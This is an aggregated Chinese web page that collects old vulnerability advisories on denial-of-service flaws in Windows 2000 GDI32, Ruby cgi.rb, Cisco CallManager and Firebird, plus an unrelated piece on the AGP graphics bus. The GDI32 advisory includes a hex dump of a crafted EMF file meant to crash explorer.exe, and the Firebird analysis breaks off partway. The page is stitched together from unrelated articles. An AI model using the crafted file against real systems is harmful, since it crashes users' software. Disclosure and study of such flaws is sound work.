Microsoft Windows图形设备接口库拒绝服务漏洞

| 收藏本文 下载本文 作者:鱼蛋

以下是小编整理的Microsoft Windows图形设备接口库拒绝服务漏洞(共含5篇),欢迎阅读与收藏。同时,但愿您也能像本文投稿人“鱼蛋”一样,积极向本站投稿分享好文章。

Microsoft Windows图形设备接口库拒绝服务漏洞

篇1:Microsoft Windows图形设备接口库拒绝服务漏洞

来源:绿盟科技

受影响系统:

Microsoft Windows Server SP4

Microsoft Windows 2000 Server SP3

Microsoft Windows 2000 Server SP2

Microsoft Windows 2000 Server SP1

Microsoft Windows 2000 Server

Microsoft Windows 2000 Professional SP4

Microsoft Windows 2000 Professional SP3

Microsoft Windows 2000 Professional SP2

Microsoft Windows 2000 Professional SP1

Microsoft Windows 2000 Professional

Microsoft Windows 2000 Datacenter Server SP4

Microsoft Windows 2000 Datacenter Server SP3

Microsoft Windows 2000 Datacenter Server SP2

Microsoft Windows 2000 Datacenter Server SP1

Microsoft Windows 2000 Datacenter Server

Microsoft Windows 2000 Advanced Server SP4

Microsoft Windows 2000 Advanced Server SP3

Microsoft Windows 2000 Advanced Server SP2

Microsoft Windows 2000 Advanced Server SP1

Microsoft Windows 2000 Advanced Server

描述:

--------------------------------------------------------------------------------

BUGTRAQ ID: 12834

Windows 2000是微软推出的用途非常广泛的操作系统,

Windows 2000的GDI32.DLL GetEnhMetaFilePaletteEntries API不能正确的处理EMF文件,导致调用API的应用程序在读取某些特制的EMF文件时可能崩溃。

有漏洞的代码如下:

----------------------------------------------------------

反编译的GDI32.GetEnhMetaFilePaletteEntries()

----------------------------------------------------------

77F68CC7       PUSH ESI

77F68CC8       PUSH EDI

77F68CC9       PUSH 460000

77F68CCE       PUSH DWORD PTR SS:[ESP+10]

77F68CD2       CALL GDI32.77F48A89

77F68CD7       TEST EAX,EAX

77F68CD9       JNZ SHORT GDI32.77F68CE0

77F68CDB       OR EAX,FFFFFFFF

77F68CDE       JMP SHORT GDI32.77F68D11

77F68CE0       MOV EDI,DWORD PTR SS:[ESP+14]

77F68CE4       TEST EDI,EDI

77F68CE6       JNZ SHORT GDI32.77F68CF0

77F68CE8       MOV EAX,DWORD PTR DS:[EAX+C]

77F68CEB       MOV EAX,DWORD PTR DS:[EAX+44]

77F68CEE       JMP SHORT GDI32.77F68D11

77F68CF0       MOV ECX,DWORD PTR DS:[EAX+C]

77F68CF3       MOV EAX,DWORD PTR DS:[ECX+44]

77F68CF6       CMP DWORD PTR SS:[ESP+10],EAX

77F68CFA       JNB SHORT GDI32.77F68D00

77F68CFC       MOV EAX,DWORD PTR SS:[ESP+10]

77F68D00       MOV EDX,DWORD PTR DS:[ECX+30]

77F68D03       ADD EDX,ECX

77F68D05       MOV ECX,EAX

77F68D07       SUB EDX,DWORD PTR DS:[EDX-4]

77F68D0A       MOV ESI,DWORD PTR DS:[EDX+C]

77F68D0D       ADD ESI,EDX

77F68D0F       REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

77F68D11       POP EDI

77F68D12       POP ESI

77F68D13       RETN 0C

-----------------------------------------------------------

翻译为C代码

-----------------------------------------------------------

UINT GetEnhMetaFilePaletteEntries(

HENHMETAFILE hemf,   // handle of enhanced metafile

UINT cEntries,   // count of palette entries

LPPALETTEENTRY lppe    // address of palette-entry array

)

{

char *begin, *end, *emreof, *palent;

DWORD count, i;

// ......

begin = emf file offset in memory;

// get the count of palette entries from the emf file

count = *((DWORD *)(begin + 0x44));

if (lppe == 0)

return count;

if (size > count)

size = count;

// find the end of the emf file

end = begin + *((DWORD *)(bigin + 0x30));

// find the offset of emreof

emreof = end - *((DWORD *)(end - 0x04));

// find the offset of palentries

palent = emreof + *((DWORD *)(emreof + 0x0c));

// copy the palent from the file to palette-entry array

for (i = 0; i < size; i++)

memcpy(lppe + i, palent + i * 4, 4);

return size;

}

-----------------------------------------------------------

可见没有有效性检查,因此可能在使用从EMF读取的偏移值(end,emreof,palent)时导致访问破坏,

这个漏洞的具体影响取决于使用API的应用程序。一般来讲,如果EMRHEAD->nPalEntries中存在非0的值,应用程序就会调用这个API,并向第二个参数传送EMRHEAD->nPalEntries。如果特制的EMF所访问的地址无效的话,就会导致应用程序崩溃。

<*来源:Hongzhen Zhou (__zhou@hotmail.com“>felix__zhou@hotmail.com)

链接:marc.theaimsgroup.com/?l=bugtraq&m=111108743527497&w=2

*>

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

16进制的临时存贮EMF文件:

-------------------------------------------------------

0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00

0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00

0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00

0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00

0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00

0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00

0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00

0000070 41 42 43 44 00 00 01 ff

-------------------------------------------------------

如果无法导致explorer.exe崩溃的话,请更改最后8个字节的值,然后重新测试。

建议:

--------------------------------------------------------------------------------

厂商补丁:

Microsoft

---------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.microsoft.com/technet/security/

篇2:Yukihiro Matsumoto Ruby cgi.rb库远程拒绝服务漏洞

受影响系统:

Yukihiro Matsumoto Ruby <= 1.8.5

不受影响系统:

Yukihiro Matsumoto Ruby 1.8.5-p2

描述:

--------------------------------------------------------------------------------

BUGTRAQ ID: 21441

CVE(CAN) ID: CVE--6303

Ruby是动态、开放源码的编程语言,

Ruby所捆绑的CGI库(cgi.rb)在处理大量畸形请求时存在漏洞,远程攻击者可能利用此漏洞导致服务器失去响应。

如果向任何使用了cgi.rb的WEB应用提交了恶意HTTP请求的话,就会耗尽CPU资源,发送多个请求就可能导致拒绝服务,

<*链接:marc.theaimsgroup.com/?l=bugtraq&m=116544051430175&w=2

www.ruby-lang.org/en/news/2006/12/04/another-dos-vulnerability-in-cgi-library/

*>

建议:

--------------------------------------------------------------------------------

厂商补丁:

Yukihiro Matsumoto

------------------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.5-p2.tar.gz

篇3:Cisco CallManager拒绝服务漏洞

成功利用这些漏洞会导致拒绝服务攻击,造成高CPU使用率、中断服务或重启服务器,然后可能导致电话无法响应、从CCM注销电话或CCM重启,

详细描述:

Cisco CallManager(CCM)是Cisco IP电话解决方案的基于软件的呼叫处理组件。 P

一些CCM版本没有主动管理TCP连接和Windows消息,导致一些公开的发布端口受拒绝服务攻击影响:

1 CCM没有足够主动的超时到端口的TCP连接,导致足够多的开放连接会耗尽内存和CPU资源。在特定的情况下,CCM会无限期的保持TCP连接开放,直到重启CCM服务或重启服务器。

2 多个到、或7727端口的连接会充满Windows消息队列,导致CCM无法处理Windows Service Manager,在30秒超时后重启CCM,

成功利用这些漏洞会导致拒绝服务攻击,造成高CPU使用率、中断服务或重启服务器,然后可能导致电话无法响应、从CCM注销电话或CCM重启。

受影响系统:

Cisco Call Manager = 3.2

Cisco Call Manager 4.1

Cisco Call Manager 4.0

Cisco Call Manager 3.3

补丁下载:

Cisco

-----

Cisco已经为此发布了一个安全公告(cisco-sa-20060118-ccmdos)以及相应补丁:

cisco-sa-20060118-ccmdos:Cisco Call Manager Denial of Service

链接:www.cisco.com/warp/public/707/cisco-sa-20060118-ccmdos.shtml

篇4:请求远程拒绝服务漏洞

/* CSS Document */

Firebird是一款提供多个ANSI SQL-92功能的关系型数据库,可运行在Linux、Windows和各种Unix平台下,

在Firebird的src/remote/server.cpp文件中,process_packet2函数负责处理从客户端发送过来的报文。这个函数有一个switch语句考虑协议中所定义的所有可能的opcode。

/-----------

src/remote/server.cpp:

...

3404   P_OP p = receive->p_operation;

3405   switch (op)

3406   {

3407   case op_connect:

...

3426   case op_compile:

...

3430   case op_attach:

...

- -----------/

在op_connect_request报文的情况下,执行流进入switch语句的以下case:

/-----------

src/remote/server.cpp:

...

3584   case op_connect_request:

3585       aux_request(port, &receive->p_req, sendL);

3586       break;

- -----------/

在调用aux_request()函数并执行break语句后,执行流到达:

/-----------

src/remote/server.cpp:

...

3652   if (port && port->port_state == state_broken) {

3653       if (!port->port_parent) {

3654           gds__log(”SERVER/process_packet: broken port, server exiting“);

3655           port->disconnect(sendL, receive);

3656           ThreadData::restoreSpecific();

3657           return false;

3658       }

3659       port->disconnect(sendL, receive);

3660       port = NULL;

3661   }

- -----------/

通过在接收到op_connect_request报文时调试fbserver.exe二进制程序可以看出满足了第一个if语句的条件,但没有满足第二个if的条件,因此执行流到达port->disconnect()调用:

/-----------

005ACE2C |> 837E 0C 03          CMP DWORD PTR DS:[ESI+C],3

;port->port_state == state_broken ?

005ACE30 |. 75 1B               JNZ SHORT fbserver.005ACE4D

005ACE32 |. 837E 1C 00          CMP DWORD PTR DS:[ESI+1C],0

;port->port_parent == 0?

005ACE36 |. 75 0A               JNZ SHORT fbserver.005ACE42

;this conditional jump is taken

005ACE38 |. 68 D4D65F00         PUSH fbserver.005FD6D4

; ASCII ”SERVER/process_packet: broken port, server exiting"

005ACE3D |.^ E9 44FDFFFF         JMP fbserver.005ACB86

005ACE42 |> 53                  PUSH EBX

; /Arg2

005ACE43 |. 57                  PUSH EDI

; |Arg1

005ACE44 |. 8BCE                MOV ECX,ESI

; |

005ACE46 |. E8 65D7FFFF         CALL

; /port->disconnect(sendL, receive)

- -----------/

根据src/remote/remote.h中的定义,port的类型为struct rem_port,

这种结构类型在src/remote/server.cpp中实现了disconnect()函数:

/-----------

src/remote/server.cpp:

1464   void rem_port::disconnect(PACKET* sendL, PACKET* receiveL)

- -----------/

在这个函数中执行以下代码以释放发送和接收的报文并关闭相关的套接字:

/-----------

src/remote/server.cpp:

[1] [2] 下一页

篇5:加速图形接口

AGP(AccelerateGraphicalPort),加速图形接口,随着显示芯片的发展,PCI总线日益无法满足其需求。英特尔于1996年7月正式推出了AGP接口,它是一种显示卡专用的局部总线。严格的说,AGP不能称为总线,它与PCI总线不同,因为它是点对点连接,即连接控制芯片和AGP显示卡,但在习惯上我们依然称其为AGP总线。AGP接口是基于PCI2.1版规范并进行扩充修改而成,工作频率为66MHz。AGP总线直接与主板的北桥芯片相连,且通过该接口让显示芯片与系统主内存直接相连,避免了窄带宽的PCI总线形成的系统瓶颈,增加3D图形数据传输速度,同时在显存不足的情况下还可以调用系统主内存。所以它拥有很高的传输速率,这是PCI等总线无法与其相比拟的,

由于采用了数据读写的流水线操作减少了内存等待时间,数据传输速度有了很大提高;具有133MHz及更高的数据传输频率;地址信号与数据信号分离可提高随机内存访问的速度;采用并行操作允许在CPU访问系统RAM的同时AGP显示卡访问AGP内存;显示带宽也不与其它设备共享,从而进一步提高了系统性能。AGP标准在使用32位总线时,有66MHz和133MHz两种工作频率,最高数据传输率为266Mbps和533Mbps,而PCI总线理论上的最大传输率仅为133Mbps。目前最高规格的AGP8X模式下,数据传输速度达到了2.1GB/s。AGP接口的发展经历了AGP1.0(AGP1X、AGP2X)、AGP2.0(AGPPro、AGP4X)、AGP3.0(AGP8X)等阶段,其传输速度也从最早的AGP1X的266MB/S的带宽发展到了AGP8X的2.1GB/S。

FreeBSD I386SetLDT多个本地拒绝服务漏洞

设备库管年终总结

图形引擎存高危漏洞

Linux Kernel畸形ULE报文处理远程拒绝服务漏洞

Windows动态图标处理爆严重漏洞Windows安全

Windows 10再迎安全补丁――修复IE浏览器Flash Player漏洞

浅析Windows平台下Android应用抓包挖掘漏洞方法漏洞预警

Microsoft Windows图形设备接口库拒绝服务漏洞(锦集5篇)

欢迎下载DOC格式的Microsoft Windows图形设备接口库拒绝服务漏洞,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式

相关文章

热门推荐

HOT

猜你喜欢

NEW
点击下载本文文档